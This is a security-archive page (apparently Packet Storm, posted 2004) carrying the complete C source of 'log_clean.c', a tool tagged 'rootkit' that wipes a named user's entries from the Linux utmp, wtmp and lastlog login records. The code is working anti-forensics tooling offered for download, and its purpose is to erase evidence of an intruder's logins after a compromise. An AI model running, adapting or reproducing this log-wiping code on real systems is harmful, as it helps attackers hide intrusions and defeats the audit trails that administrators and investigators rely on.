what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

log_clean.c

log_clean.c
Posted Jul 18, 2004
Authored by CoKi | Site nosystem.com.ar

Tool for cleaning WTMP, UTMP, and lastlog under Linux.

tags | tool, rootkit
systems | linux, unix
SHA-256 | 59aa2101b05225dd0eb7e7b456eb26357540723e3c1d8a10deca83e9715a10fb

log_clean.c

Change Mirror Download
/*
* logclean.c by CoKi <coki@nosystem.com.ar>
*
* This tool cleans WTMP, UTMP and lastlog for linux
*
* No System Group - http://www.nosystem.com.ar
*
*/

#include <stdio.h>
#include <string.h>
#include <utmp.h>
#include <getopt.h>
#include <lastlog.h>
#include <pwd.h>

#define VERSION "0.1"

int uwtmp_clean(char *path, char *user);
int lastlog_clean(char *path, char *user);
void use(char *program);
void version(void);

int main(int argc, char *argv[]) {
char user[UT_LINESIZE];
char c;

while((c = getopt(argc, argv, "vu:")) != EOF) {
switch(c) {
case 'v':
version();
break;
case 'u':
if(strlen(optarg) > UT_LINESIZE) {
printf("user name too long\n");
exit(0);
}
snprintf(user, sizeof(user), "%s", optarg);
break;
default :
use(argv[0]);
break;
}
}

if(user == NULL || argc < 2) {
use(argv[0]);
}

printf(" UTMP:\t\t");
fflush(stdout);
uwtmp_clean(_PATH_UTMP, user);

printf(" WTMP:\t\t");
fflush(stdout);
uwtmp_clean(_PATH_WTMP, user);

printf(" LASTLOG:\t");
fflush(stdout);
lastlog_clean(_PATH_LASTLOG, user);
}

int uwtmp_clean(char *path, char *user) {
FILE *uwtmp_file;
struct utmp uwtmp_tmp;
int count=0;

if((uwtmp_file = fopen(path, "r+")) == NULL) {
printf("[-] filed to open file '%s'\n", path);
return 0;
}

while(fread((char *)&uwtmp_tmp, sizeof(uwtmp_tmp), 1, uwtmp_file) > 0) {
if(strcmp(uwtmp_tmp.ut_name, user) ==0) {
fseek(uwtmp_file, -sizeof(uwtmp_tmp), SEEK_CUR);
bzero(&uwtmp_tmp, sizeof(uwtmp_tmp));
fwrite((char *)&uwtmp_tmp, sizeof(uwtmp_tmp), 1, uwtmp_file);
count++;
}
}

fclose(uwtmp_file);

if(count == 0) {
printf("[-] user '%s' not found\n", user, path);
}

else printf("[+] '%s' cleaned!\n", path);

}

int lastlog_clean(char *path, char *user) {
FILE *lastlog_file;
struct passwd *pwd;
struct lastlog lastlog_tmp;
int count=0;

if((lastlog_file = fopen(path, "r+")) == NULL) {
printf("[-] filed to open file '%s'\n", path);
return 0;
}

if ((pwd = getpwnam(user)) == NULL) {
printf("[-] user '%s' not found\n", user);
return 0;
}

fseek(lastlog_file, (long)(pwd->pw_uid*sizeof(lastlog_tmp)), SEEK_SET);
bzero((char *)&lastlog_tmp, sizeof(lastlog_tmp));
fwrite((char *)&lastlog_tmp, sizeof(lastlog_tmp), 1, lastlog_file);

fclose(lastlog_file);

printf("[+] '%s' cleaned!\n", path);

}

void use(char *program) {
printf(" use: %s -u\tuser\n", program);
printf("\t\t -v\tversion\n");
exit(0);
}

void version(void) {
printf(" logclean.c v%s by CoKi <coki@nosystem.com.ar>\n", VERSION);
exit(0);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close